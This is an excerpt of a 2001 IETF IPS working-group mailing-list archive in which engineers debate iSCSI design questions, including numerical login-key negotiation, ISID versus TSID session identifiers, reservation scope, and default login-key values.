Cc: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian & All, I request the group to take a close look at this negotiation process again and [re-]evaluate the alternative being proposed. Further, it appears that the login stage negotiation is also following the same algorithm as the login key negotiation, wherein originator & responder offer their respective values and both sides need to determine the result of the negotiation. i.e. both initiator and target need to compare their NSG with the other party's NSG and pick the lower of the 2. I suggest that both the login key negotiation and the login stage negotiation follow the policy that the originator offers a value and the responder picks the result of the negotiation based on (the offered value & its own value). The value picked by the responder is sent back to the originator. This model has the following advantages : 1) Only one side picks the result of the negotiaton. Hence, the 2 sides cannot go out of sync on the value picked. 2) The originator knows the negotiated result at the the responder since the responder sends back the result of the negotiation. 3) This model is easier to debug because of (1) & (2). 4) Less code since only 1 party (responder) needs to perform the computation to pick the result of the negotiation. 5) This scheme leaves less room for interop problems and mis-interpretation since it is the more familiar negotiation technique that is in use in most other mass storage protocols. (ex : FC PLOGI, FC PRLI, etc). From a first reading of the current negotiation scheme, it is'nt readily apparent that the currently defined model is different from the above and requires both sides to be picking the result of the negotiation, instead of just the responder. Comments ? Thanks, Santosh Julian Satran wrote: > > Santosh, > > I understood what you wording means but I am not sure that we want all the > side-effects. > The negotiation as defined now allows both parties requester or responder > to state their wishes and the LAW > insatiate the result in both. > > Your wording means that the responder selects the value according to the > rule. What if the responder is either a rogue or > just a simple minded target. Let me give an example: > > I am building a simple minded target that has an 8K buffer and says always > (has it wired) DataPDULength=8192 > in its first Login response (that is his buffer). > > If an initiator sends him as a "offer" or as a "responder" 16192 then with > the current wording things are fine and both will > have settled to 8192. > > If the initiator sends an offer of 4096 and the target gives his (only > thing he knows) 8192 it is still fine - both select 4096. > > With your wording some of the negotiations will fail since you assume that > the rule should be expressed in building the answer and not in selecting > the result. > > In the end in both case you have to do selections at both target and > initiator but the current rule enables simple-minded prewired messages > while your does not (the responder message defines the selection and the > offerer has to check it). > > Sorry for this long message for such a simple question. > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: Re: iscsi : numerical negotiation wording > owner-ips@ece. is ambiguous > cmu.edu > > > 26-09-01 23:16 > Please respond > to Santosh Rao > > > > Julian, > > What is the responding party supposed to offer ? Is it supposed to > determine the result of the > negotiation (higher or lower value, as the case may be) and send that as > its response ? > > Or, is it supposed to send in its numerical value and the initiator picks > the higher or lower of > the 2 ? > > This does'nt come across clear enough in the definition and is open to > mis-interpretation. Please > see the suggested re-word in its place. > > Thanks, > Santosh > > Julian Satran wrote: > > > Santosh, > > > > I am missing something. The rule states what value both parties should > have > > after both have seen the two values. > > Obviously we assume that no error occurs and the responder value is seen > y > > the offering party or the negotiation fails. > > > > What exactly is ambiguous about it? > > > > Julo > > > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: iscsi : numerical > negotiation wording is > > owner-ips@ece. ambiguous > > cmu.edu > > > > > > 26-09-01 19:59 > > Please respond > > to Santosh Rao > > > > > > > > Julian & All, > > > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > > reads : > > > > "In numerical negotiations, the offering and responding party state > > a numerical value. The result of the negotiation is key dependent; > > frequently the lower or the higher of the two values is used." > > > > The above definition is ambiguous, since it does not specify whether it > is > > the originator or the responder that computes the result of the > > negotiation. > > > > i.e. Is it the responsibility of the target to pick the higher or lower > of > > the 2 values and respond with the result of the negotiation ? > > > > OR : > > Is it the originator that has to pick the result of the negotiation > > based on the key it sent and the key it got back ? > > > > I would suggest that the wording be clarified to indicate that the > > responder picks the result of the negotiation and sends this result back > > in its response for this key. > > > > Perhaps, some re-wording along the following lines may be in order : > > > > "In numerical negotiations, the offering party states a numerical > > value, and the responding party states the result (operational value) > > after the negotiation. The result of the negotiation is key > > dependent; responder determines it based on the lower or the higher > > of the two values - offering party's value, and what the responder > > can support." > > > > Comments ? > > > > Regards, > > Santosh > > > > -- > > ################################# > > Santosh Rao > > Software Design Engineer, > > HP, Cupertino. > > email : santoshr@cup.hp.com > > Phone : 408-447-3751 > > ################################# > > #### santoshr.vcf has been removed from this note on September 27 2001 by > Julian Satran -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 18:06:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25925 for ; Fri, 28 Sep 2001 18:06:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SLdDP06219 for ips-outgoing; Fri, 28 Sep 2001 17:39:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SLdBP06213 for ; Fri, 28 Sep 2001 17:39:11 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id 2E1721F81D for ; Fri, 28 Sep 2001 14:39:04 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id OAA22481 for ; Fri, 28 Sep 2001 14:38:59 -0700 (PDT) Message-ID: <3BB4EF89.9C0A8A7F@cup.hp.com> Date: Fri, 28 Sep 2001 14:45:45 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "'IPS Reflector'" Subject: Re: iscsi : target originated login negotiations. References: <001d01c1482d$74122940$0102a8c0@eddylaptop> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit All, The below ambiguities go to further prove that the current negotiation model for login keys [and also, login stages] is open to mis-interpretation and is susceptible to interop issues. I suggest that the initiator be always considered as an originator of the keys, even when it uses the defaults. This ensures that the login negotiation always culminates at the initiator and does not cause any redundant round trips of login pdu's. In this context, I also request the group to consider the alternate, simpler, more familiar & more debuggable negotiation technique that has been proposed in a separate thread with the subject : "iscsi : numerical negotiation ambiguous". Thanks, Santosh Eddy Quicksall wrote: > > This is the way I see it ... since the spec has been changed to say: > > For numerical (and binary) negotiations, the responding party MUST > respond with the required key. > > So, the initiator MUST respond. Therefore, after the target starts a > negotiation, the default no longer has a meaning. > > I would also like to hear the answer to (a) and (b) below. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 27, 2001 8:30 PM > To: IPS Reflector > Subject: iscsi : target originated login negotiations. > > All, > > I have a question on how the target originated negotiation works. The > draft describes this as : > > "The target may offer key=value pairs of its own. Target requests are > not limited to matching key=value pairs as offered by the initiator. > However, the initiator always controls the request-response initiation > and termination." > > Here's my question, taking a specific scenario as an example : > > Assume ImmediateData defaults to "yes" [as is currently the case]. > Consider an initiator that wishes to use immediate data attempting to > login with a target that does not support immediate data. > > I -> T : (does not explicitly send ImmediateData key, since the default > is its desired value). > > T -> I : ImmediateData="no" (No ImmediateData key is received. Hence, > target needs to originate this key to indicate that it does not > support). > > Is this considered the end of the negotiation, or does the initiator > (who is the responding party in this case) need to respond to the > offered key with a response indicating : > I -> T : ImmediateData="no" > > Also : > > a) how does the above work in the case of list negotiation ? > > b) What is meant by "the initiator always controls the > request-response initiation and termination." (?). > Could this be stated more clearly ? > > Thanks, > Santosh > > -- > ################################## > Santosh Rao > Software Design Engineer, > HP-UX iSCSI Driver Team, > Hewlett Packard, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################## -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 18:10:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26012 for ; Fri, 28 Sep 2001 18:10:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SLhRp06491 for ips-outgoing; Fri, 28 Sep 2001 17:43:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SLhPP06484 for ; Fri, 28 Sep 2001 17:43:25 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA31778 for ; Fri, 28 Sep 2001 17:41:03 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SLg7f280190 for ; Fri, 28 Sep 2001 15:42:08 -0600 Importance: Normal Subject: Re: iSCSI: "kicker" reservation problem To: ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 28 Sep 2001 14:42:04 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 02:42:07 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, First, thanks for bringing this issue back up. It sort of fell by the wayside for more important things.... You wrote: If the proposed language is adopted to allow reservations to be shared across target ports, but be bound to initiator ports, the identities of the initiator ports have to be visible to the "application" so that it can control SCSI behavior with respect to reservations. But that must also be true today (in a more static world). If an application requests a reservation for a logical unit on one I_T_L nexus, it pretty much needs to know what path that is, so that it knows where to direct it's IOs. So, it needs some handle, identity, whatever for that nexus within the operating system. In the current reservation model, the application probably can't deal with a completely opaque handle here. It will need to know all the I_T_L paths so that is can do the registration across all the paths. In other words, it needs some internal identity for the I and some external identity for the T. That's true today and won't change with the new proposal. If the proposed language is adopted, then it can take better advantage of this information, by recognizing that it only needs to register when the I's are different (not when either the I or T is different). In either case, it needs some internal identity for the "I'. So long as the iSCSI layer presents a representation of the 'I' as consistent with the model, there is no problem. The application doesn't need to see the ISID, it needs to see the internal identity of the 'I' as the same if the underlying ISIDs for the I_T_L nexus is the same. At least it some layer has a way to tell that the I's are the same or not. If the target generated SSIDs entirely, there would never be two nexus with the same I (and different T) and so the whole multipathing issue gets much more complex. The application would ALWAYS have to work through each nexus (as it does today, but for different reasons). The issue here comes, not from the application getting a handle on the I_T_L nexus (and perhaps its internals). It's more a question of what layer is going to generate all those paths (nexus) in the first place? Right now, every SCSI Initiator Port does a greedy job of building nexus to every SCSI Target Port it can find on the bus (fabric). With iSCSI, that model changes dramatically. Someone has to drive this nexus building in a more constructive manner since initiator ports need to be created on the fly. Once their built, the rest goes according to plan (as it does today). But building them at all may require more application intervention OR each iSCSI Initiator Portal Group does it's most aggressive best (subject to some configuration limit of how many connections per session and how many sesssions per target portal group and .....). You wrote.. At best, T10 is probably looking towards Fibre Channel in which session endpoints are static hardware interfaces. The easiest way to get back in line with T10 would be to forbid iSCSI sessions from spanning network interfaces, and then use the IP address of the network interface as the SCSI Initiator Port Name, but that would be a significant change from the approach we've been pursuing to date. I think that's an unfair statement about T10. The person pushing this new stuff is active in SRP and in iSCSI and is fully aware of the issues and implications. But on the other hand, T10 can only deal with things which fit within its model space. That includes "named Initiator Ports" (with the name being persistent and immutable). They don't have to be static or hw, just named. This whole thing would have been a lot easier if we never had multiple connection sessions. But that was a choice made early. Now we see what we can do with what we have. You wrote: Alternatively, we could invent yet another software name for the SCSI Initiator Port that exists primarily to cope with this new notion of reservation scope, But as I've argued before, any other name still has the same problems of namespace, use, generation, coordination. The ISID was a name already there and suited the purposes. If we go away from ISIDs for other reasons, then we still need another name, and we still need a rule that says that 'named' port can't login twice with the same target portal group and .... we're back where we are now. I've been around this bend many many times and always come back to the same place. Can I stop now? :-{) Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:18:13 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: "kicker" reservation problem In the midst of the ISID discussion, Jim Hafner tossed in the following: > Now comes a slight kicker! There is proposed language for SCSI that would > allow a device server to associate a reservation with a SCSI initiator port > *independent of the SCSI target port*, so I could have a path from one SCSI > initiator port through each SCSI target port and the reservation state > would be equivalent over all the paths (sort of I_*_L nexus). This new > language is based on one fundamental principle, that is, that the SCSI > initiator port has a world wide unique persistent intrinsic NAME on which > to base the unambiguous recognition of that SCSI Initiator Port independent > of the target port. In other words, with a name, the device server can > recognize the same initiator port through any of its target ports and so > grant equivalent access rights. And then pointed out that leaving the ISID as currently specified would be an easy way to accommodate this functionality. After further thought, I agree that this is easy, but believe that it is the wrong design approach because it'll make the current ISID allocation problems significantly worse. The reasoning starts by observing that while SCSI makes reservations, it doesn't "own" them in that it has no idea what the intended purpose of the reservation is - that knowledge exists only in some "application" (e.g., backup, cluster) above SCSI. If the proposed language is adopted to allow reservations to be shared across target ports, but be bound to initiator ports, the identities of the initiator ports have to be visible to the "application" so that it can control SCSI behavior with respect to reservations. For iSCSI, I think this leads to applications needing to be involved in ISID selection. Consider an application that opens a new iSCSI session to a different SCSI port on an iSCSI Target to which a session is already open. How does iSCSI know whether to reuse the same ISID as the existing session (so that reservations can span the sessions) or use a new ISID (so they don't)? The answer is that iSCSI does not have the information required to answer that question - it has to be passed down from the "application" which is the only entity that knows what the intended result is. The upshot is that the ISID coordination problem has just expanded in scope from multiple iSCSI implementations (e.g., HBAs) to also include multiple "applications" above SCSI - this is not a good thing. For the sake of simplicity, I think that if ISID remains, it should not be used for this sort of reservation scope control. In practice, I think the problem is more fundamental -- the proposed T10 language appears to be at odds with iSCSI's notion of dynamically created session endpoints that span hardware interfaces. At best, T10 is probably looking towards Fibre Channel in which session endpoints are static hardware interfaces. The easiest way to get back in line with T10 would be to forbid iSCSI sessions from spanning network interfaces, and then use the IP address of the network interface as the SCSI Initiator Port Name, but that would be a significant change from the approach we've been pursuing to date. Alternatively, we could invent yet another software name for the SCSI Initiator Port that exists primarily to cope with this new notion of reservation scope, but I tend to agree with Jim Hafner's concern that this makes the mapping of SAM-2 SCSI Port concepts to iSCSI less believable/tenable/etc. There doesn't appear to be a good solution here. Comments? --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 18:11:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26042 for ; Fri, 28 Sep 2001 18:11:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SLgOb06436 for ips-outgoing; Fri, 28 Sep 2001 17:42:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SLgNP06430 for ; Fri, 28 Sep 2001 17:42:23 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA31384; Fri, 28 Sep 2001 17:40:00 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SLf5f33042; Fri, 28 Sep 2001 15:41:05 -0600 Importance: Normal Subject: Re: iSCSI: ISID issue To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 28 Sep 2001 14:41:03 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 02:41:05 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, See my reply to your other note on the "kicker" thread. But I have a comment here too. Regardless of how we go about this 'who assigns the SSID' question, we still have a fundamental question about what to map the SCSI Initiator Port to AND what its 'SCSI Initiator Port Name' should be. WIthout an initiator generated (or owned) name, we can't have such a beast (we can have SCSI Initiator Ports, but no name can be associated with them). That will prevent iSCSI from being able to take advantage of things that SCSI has so far and will in the future better enable because of persistent named initiator ports. The ISID was the most obvious thing to choose. Take that away and the whole thing has to get stirred up again. I sympathize with the issue of configuration. However, if we can't solve the iSCSI Initiator Name (IIN) problem (and avoid the FC Nodename debacle), then it's true that configuration of ISIDs will also be a problem. I was expecting that we can solve the IIN problem by defining at least a de facto standard that could be put in place today. I was hoping (perhaps naively) that we could solve the ISID allocation problem at the same time. The whole point of stating all this up front now was in hopes of 'learning from the FC mistakes'. Let me add that (from private discussions) I've come to realize that the current wording is perhaps not exactly reflective of the real requirement for ISIDs. The current wording says "partition". Some have come to interpret that as a static (once at boot, sort of) partition. That actually goes too far. What is really needed (from the model point of view) is a service in the iSCSI Node that allocates ISIDs for use by session creators in the initiator portal groups. Whether that is implemented passively by static configuration (static partition) or by dynamic partition (partitions can be reconfigured on the fly) or by an api to allocate on demand (on-line algorithm) - doesn't really matter. The relevant point is that something (at the node level) has to pass them out for use in session creation within the portal groups *in such a manner so as not to break the ISID RULE*. The static partition was one implementation that I thought was doable today. Perhaps such a service is untenable. If so, then I don't know that we can put any weight in the model to the notion of an iSCSI Initiator Node! If I can't have that simple function, there can't be any more complex functions like failover, error recovery, etc.. In any case, there is still open (as far as I know) the issue of "what happens if a parallel nexus is attempted" (regardless of the definition of SCSI Initiator Port). Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/28/2001 12:17:43 pm Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: ISID issue Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 18:12:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26101 for ; Fri, 28 Sep 2001 18:12:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SLkFO06702 for ips-outgoing; Fri, 28 Sep 2001 17:46:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cleitus.hosting.pacbell.net (cleitus.hosting.pacbell.net [216.100.99.17]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SLk8P06692 for ; Fri, 28 Sep 2001 17:46:08 -0400 (EDT) Received: from somesh (sdsl-64-139-0-182.dsl.sca.megapath.net [64.139.0.182]) by cleitus.hosting.pacbell.net id RAA29053; Fri, 28 Sep 2001 17:45:09 -0400 (EDT) [ConcentricHost SMTP Relay 1.7] Reply-To: From: "Somesh Gupta" To: "Julian Satran" , Subject: RE: iscsi : iscsi parameter default values Date: Fri, 28 Sep 2001 14:44:08 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Is there any target today that will handle ImmediateData without a significant change to the transport API? Also is there any target that does use out of order R2Ts? (Just curious) > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Julian Satran > Sent: Thursday, September 27, 2001 9:50 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > The one that I have trouble living with is ImmediateData. This is > important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > , > > > iaone.net> cc: > > Sent by: Subject: RE: iscsi > : iscsi parameter default values > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages which is not > in line with mode page > > usage. This impacts the target's ability to enforce values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 28 18:52:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26885 for ; Fri, 28 Sep 2001 18:52:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SMENg08317 for ips-outgoing; Fri, 28 Sep 2001 18:14:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar2ab.compuserve.com (siaar2ab.compuserve.com [149.174.40.138]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SMEKP08312 for ; Fri, 28 Sep 2001 18:14:20 -0400 (EDT) Received: (from mailgate@localhost) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id SAA26778 for ips@ece.cmu.edu; Fri, 28 Sep 2001 18:14:13 -0400 (EDT) Received: from compuserve.com (dal-tgn-tkd-vty39.as.wcom.net [206.175.233.39]) by siaar2ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id SAA26728 for ; Fri, 28 Sep 2001 18:14:09 -0400 (EDT) Message-ID: <3BB4F75A.D6EFF804@compuserve.com> Date: Fri, 28 Sep 2001 17:19:06 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: ips: FCIP -06 PDF Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit As everybody has been saying we can/should do, I sent the PDF (with change bars) for FCIP revision 06 to the internet drafts office. As everybody said would happen, there were no complaints about this from the internet drafts office. HOWEVER: I cannot find any sign of a posted FCIP -06 PDF file anywhere on the IETF web site. Anybody know what happened? Thanks. Ralph... From owner-ips@ece.cmu.edu Fri Sep 28 18:58:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26961 for ; Fri, 28 Sep 2001 18:58:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SMHmw08509 for ips-outgoing; Fri, 28 Sep 2001 18:17:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cleitus.hosting.pacbell.net (cleitus.hosting.pacbell.net [216.100.99.17]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id 